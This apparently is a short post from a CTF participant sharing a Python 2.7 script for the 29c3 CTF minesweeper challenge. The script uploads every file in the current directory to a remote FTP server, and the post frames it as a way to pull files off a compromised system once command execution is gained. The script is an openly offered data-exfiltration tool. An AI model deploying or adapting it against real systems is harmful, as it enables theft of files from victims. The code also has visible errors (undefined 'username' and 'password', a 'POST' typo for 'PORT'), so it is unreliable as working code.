This python (2.7) script uploads all of the files in the working directory to a remote FTP server. It's meant to be used for removing files from a remote system once you have the ability to execute a single command. This was written for 29c3 ctf's minesweeper challenge.

ftp_upload.py

#! /usr/bin/env python

# Uploads every file in the directory to the specified FTP server

import os
import os.path
from ftplib import FTP

HOST = "127.0.0.1"
PORT = 21
USER = username
PASS = password

# Connect and authenticate to the FTP server
ftp = FTP()
ftp.connect(HOST, POST)
ftp.login(username, password)

 
for fname in os.listdir('.'):
  if os.path.isfile(fname):
    try:
      fh = open(fname, 'rb')
      ftp.storbinary("STOR "+ fname, fh)
    except:
      pass
ftp.quit()